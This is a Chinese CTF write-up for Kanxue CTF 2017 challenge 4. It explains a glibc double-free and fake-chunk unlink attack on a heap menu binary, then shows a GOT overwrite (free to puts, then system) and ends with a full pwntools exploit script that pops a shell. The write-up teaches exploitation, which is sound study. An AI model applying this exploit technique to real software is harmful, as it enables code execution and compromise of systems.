看雪CTF2017第4题WP--double free解法

这是看雪CTF2017比赛的第4题,类型pwn。题目地址:传送门

本文说得稍微详细点,主要给没接触过pwn的童鞋看,大神请绕道。另外我也是第一次接触堆的漏洞利用,有错误请指出,感激不尽。

这是一题heap漏洞利用的题,程序有一个保存5个chunk地址及其有效性的结构数组,并提供申请并写入、删除、修改chnuk的功能。

1 程序功能分析

先简单看下程序功能,主函数及菜单函数就不看了。
chunk申请函数中,能定义chunk大小,其过程是:先检查现有的chunk数量不能超过5个及申请大小不超过4kb,申请内存并写入内容,大小小于112字节的chunk的输入内容将在栈上中转下,最后将申请的chunk地址、大小写入全局变量,并使能可写标记。
程序在接受数字类的选择参数时使用了read_to_i,开始还以为能通过这个在申请chunk时形成栈溢出呢,结果发现要么绕不过条件要么参数有问题。就作罢了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
signed int create_4009D1()
{
signed int result; // eax@1
char *buf; // [sp+0h] [bp-90h]@5
void *dest; // [sp+80h] [bp-10h]@4
int index; // [sp+88h] [bp-8h]@3
size_t nbytes; // [sp+8Ch] [bp-4h]@2
result = count_6020AC;
if ( count_6020AC <= 4 )
{
puts("Input size");
result = read_to_i();
LODWORD(nbytes) = result;
if ( result <= 0x1000 )
{
puts("Input cun");
result = read_to_i();
index = result;
if ( result <= 4 )
{
dest = malloc((signed int)nbytes);
puts("Input content");
if ( (signed int)nbytes > 0x70 )
{
read(0, dest, (unsigned int)nbytes);
}
else
{
read(0, &buf, (unsigned int)nbytes);
memcpy(dest, &buf, (signed int)nbytes);
}
*((_DWORD *)size_6020C0 + index) = nbytes;
chunk_addr_6020E0[index].addr = (__int64)dest;
*((_DWORD *)&flag_6020E8 + 4 * index) = 1;
++count_6020AC;
result = fflush(stdout);
}
}
}
return result;
}

内容修改函数也对操作的chunk序号进行了检查,功能主要是检查了有效性标志,大小控制使用对应保存的尺寸数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
signed int edit_400BA1()
{
signed int result; // eax@1
signed int index; // [sp+Ch] [bp-4h]@1
puts("Chose one to edit");
result = read_to_i();
index = result;
if ( result <= 4 )
{
result = *((_DWORD *)&flag_6020E8 + 4 * result);
if ( result == 1 )
{
puts("Input the content");
read(0, (void *)chunk_addr_6020E0[index].addr, *((_DWORD *)size_6020C0 + index));
result = puts("Edit success!");
}
}
return result;
}

chunk释放功能中,将chunk free掉,并没有检查前面说的有效性标志(所以我说那只是可写有效性标志),还有一个问题就chunk释放后并没有清理指针,形成悬空指针。这种情况一般会出现的漏洞利用方式有UAF(use after free)、double free等。我觉得本题的预期做法应该是double free。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 delete_400B21()
{
__int64 result; // rax@1
int v1; // [sp+Ch] [bp-4h]@1
puts("Chose one to dele");
result = read_to_i();
v1 = result;
if ( (signed int)result <= 4 )
{
free((void *)chunk_addr_6020E0[(signed int)result].addr);
*((_DWORD *)&flag_6020E8 + 4 * v1) = 0;
puts("dele success!");
result = (unsigned int)(count_6020AC-- - 1);
}
return result;
}

另外,程序为了功能实现,采用了一个结构体数组保存chunk的数据指针和有效标志。结构体数组如下:

1
2
3
4
struct heap{
void* addr;
_QWORD flag;
}heap hp[5];

2 大概思路

程序没有明显的地址泄露的地方,也没有其它可利用的漏洞,目前只有可利用的double free漏洞。检查下保护,开了Partial RELRONX,GOT表可写。

所以大概思路是:通过double free,在保存chunk地址的数据结构中伪造chunk地址,再使用程序修改chunk内容的功能,改写目标内存内容,这样就能改写GOT表,将free函数替换成system,这样free(addr)就变成了system(addr)

在此之前还要泄露libc的物理基址,所以要先将free改成puts,然后输出导入函数的地址,根据提供的Libc,查找函数偏移,再计算出Libc的基址。此处实际上是用puts.plt地址覆盖。

思路很清晰,实现很残酷。其实我开始以为double free能直接将任意地址写入保存chunk地址的结构数组中,然而不是。我看了一天多的资料,终于对double free有一点点的理解。

3基本知识点

先大概说下基本知识。
不管是在用的还是释放的chunk,其数据结构是差不多一样的,差别在于prev_size、’fd’和’bk’,prev_size只有前一个chunk是free状态才会放置其大小,后两个只有当前chunk是free状态才会有,不然这三个位置只会存放数据。

1
2
3
4
5
6
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /*如果前一个chunk是free状态,则为其大小*/
INTERNAL_SIZE_T size; /*包含头部在内的chunk的大小*/
struct malloc_chunk * fd; /*如果此chunk释放,此为指向上一个释放chunk的指针*/
struct malloc_chunk * bk; /*与上同样,指向下一个释放chunk*/
}

由于堆的分配大小是8字节对齐的,所以pre_sizesize后3bit都为0,为了节省空间,glibc把size的后三位用于3个标志位,分别表示:

PREV_INUSE (P) –标示前一个chunk的分配在用状态。
IS_MMAPPED (M) – 标示通过mmap分配。
NON_MAIN_ARENA (N) – 标示此chunk属于线程arena。

两种状态的chunk结构如下图:
chunk

关于堆的分配,还需要说明下,堆管理中的chunk指针是指向chunk头部,大小也是包括头部的,而用户申请的大小只是数据空间的大小,返回的指针也是指向数据空间

堆的double free利用主要是根据堆分配的原理及规律、堆悬空指针的存在及unlink机制实现的。

堆的分配一般是从低地址到高地址连续分配,这就会发生新申请的chunk直接释放,再申请的新chunk其堆指针是一样的。而其回收释放是通过bins完成的,释放的chunk根据其大小不同将其加入bins的单身或双向链表。关于chunk的数据结构及类型和bins的类型及特性,请查阅Understanding glibc malloc。此文章讲解得特别细,建议不了解堆的分配管理细节的童鞋精读下。

堆的释放过程大概是这样的:检查相邻前后chunk是否释放,如果释放,就会进行向前或向后合并(也有些地方说是融合),当前chunk指针变为指向前一个(后一个chunk)的指针,并将free状态的相邻chunk从bins中unlink,再合并后的chunk添加到双向链表(非fast chunk)中。

unlink的主要宏代码如下:

1
2
3
4
FD = P->fd;
BK = P->bk;
FD->bk = BK;
BK->fd = FD;

当前的libc堆管理为了防止double free,释放chunk前,检查FD->bk=BK->fd=P
P为当前需要free的chunk指针,BK的前一个chunk的指针,FD为后一个chunk的指针。如果有一个堆指针可控,并在一个chunk的数据段内,再如果有个可控的地址是指向P的,记为X=P。那么我们就在此chunk上构造两个chunk,第一个chunk在pre_size的标志位P设为1,大小到P结束,第二个chunk的pre_size的标志位P设为0,针对64位系统,第一个chunk的fd设为(X-0x18),bk设为(X-0x10),即P->fd=(X-0x18),P->fd=(X-0x10),又因为X=P,所以(X-0x18)->bk=P,(X-0x10)->fd=P,通过unlink的检查,按照unlink的宏代码,unlink过程中X的内容前后被写为(X-0x10)、(X-0x18),最终X的内容被我们改写。

4 漏洞利用

以上利用条件都具备。具体做法是:先申请两个small chunk:

1
2
create(2,0x100,'AAAA')
create(1,0x100,'BBBB')

两个chunk大小都为0x100,序号分别为2和1。堆空间内容应该是

step1

申请完了立即free掉,再申请一个大小为0x210的chunk,序号3。此时堆空间是这样的,虚线表示并不存在,为了和上图比较。chunk 3的堆指针和chunk 2是一样的,其数据空间直到chunk 1的数据空间结束。为保证double free利用万无一失,最好后申请的大chunk的空间与之前两个chunk完全重叠。此时数据指针X和堆指针P的指向均落在chunk3的数据空间里。

step2

接下来伪造两个chunk,记为chunk4和chunk5,对应的payload为:

p64(0x0)+p64(0x101)+p64(X-0x18)+p64(X-0x10)+’A’*(0x100-0x20)+p64(0x100)+p64(0x110)

当前payload在申请chunk的时候就提交的,所以实际上现在的堆的情况是这样的
step3
多出了两个伪造的chunk。分析下payload。
p64(0x0)+p64(0x101)表示前一个chunk在使用中,当前chunk尺寸为0x100;p64(X-0x18)+p64(X-0x10)表示chunk4的fd和bk指向地址;’A’*(0x100-0x20)为chunk4的数据填充;p64(0x100)+p64(0x110)表示chunk5前一个chunk即chunk4未使用,大小为0x100,chunk5的尺寸为0x110。

bin link

然后free(1),我们传递的是数据指针libc会转换成chunk指针,过程就和上面说的一样,P的前一个chunk4处于free状态,要向后合并,P=*X,而*X就是已经释放的chunk2的数据指针,申请chunk2时系统返回,free之后并示释放指针而成的悬空指针。然后执行unlink操作,hp[2].addr = (&hp[0]+8)

再执行edit(2)就可以修改hp[]中的部分内容。

edit(2,p64(1)+p64(got_addr)+p64(1)+p64(got_addr+8)+p64(1))

修改hp[1].addr为got地址,hp[2].addr为got表第二项的地址,并置有效标志。

edit(1,p64(puts_plt))

修改got表第一项即free.got为puts.plt

free(2)

这就相当于puts(puts.got),泄露出puts的内存地址,这样就可以通过偏移计算出system函数的内存地址。

edit(1,p64(system_addr))
free(0)

修改free的got为system的地址,执行free(x),就相当于system(x)

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#!/usr/bin/env python
from pwn import *
import sys
context.arch = 'amd64'
if len(sys.argv) < 2:
p = process('./4-ReeHY-main')
context.log_level = 'debug'
else:
p = remote(sys.argv[1], int(sys.argv[2]))
#gdb.attach(p,'b *0x400cf5 \nb *0x400b62')
def welcome():
p.recvuntil('name: \n$')
p.send('pediy')
def create(index,size,content):
p.recvuntil('*********\n$')
p.send('1')
p.recvuntil('Input size\n')
p.send(str(size))
p.recvuntil('Input cun\n')
p.send(str(index))
p.recvuntil('Input content\n')
p.send(content)
def delete(index):
p.recvuntil('*********\n$')
p.send('2')
p.recvuntil('Chose one to dele\n')
p.send(str(index))
def edit(index,content):
p.recvuntil('*********\n$')
p.send('3')
p.recvuntil('to edit\n')
p.send(str(index))
p.recvuntil('the content\n')
p.send(content)
def exp():
#system_off = 0x46590
#puts_off = 0x6fd60
#binsh_off = 0x180103
#pop_ret_addr = 0x400DA3
system_off = 0x41fd0
puts_off = 0x6cee0
got_addr = 0x602018
p_addr = 0x602100
puts_plt = 0x4006d0
welcome()
create(0,0x20,'/bin/sh\x00')
log.info('gen point to control...')
create(2,0x100,'BBBB')
create(1,0x100,'CCCC')
delete(2)
delete(1)
payload = p64(0)+p64(0x101)+p64(p_addr-0x18)+p64(p_addr-0x10)+'A'*(0x100-32)+p64(0x100)+p64(0x210-0x100)
create(2,0x210,payload)
delete(1)
log.info('leaking address...')
edit(2,p64(1)+p64(got_addr)+p64(1)+p64(got_addr+8)+p64(1))
edit(1,p64(puts_plt))
delete(2)
puts_addr = p.recv(6)
system_addr = u64(puts_addr+'\x00'*2)-puts_off+system_off
log.info('system address:'+hex(system_addr))
log.info('get shell!!!')
edit(1,p64(system_addr))
delete(0)
p.interactive()
if __name__ == '__main__':
exp()

说明:本文首发于看雪论坛。

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. 1 程序功能分析
  2. 2. 2 大概思路
  3. 3. 3基本知识点
  4. 4. 4 漏洞利用
,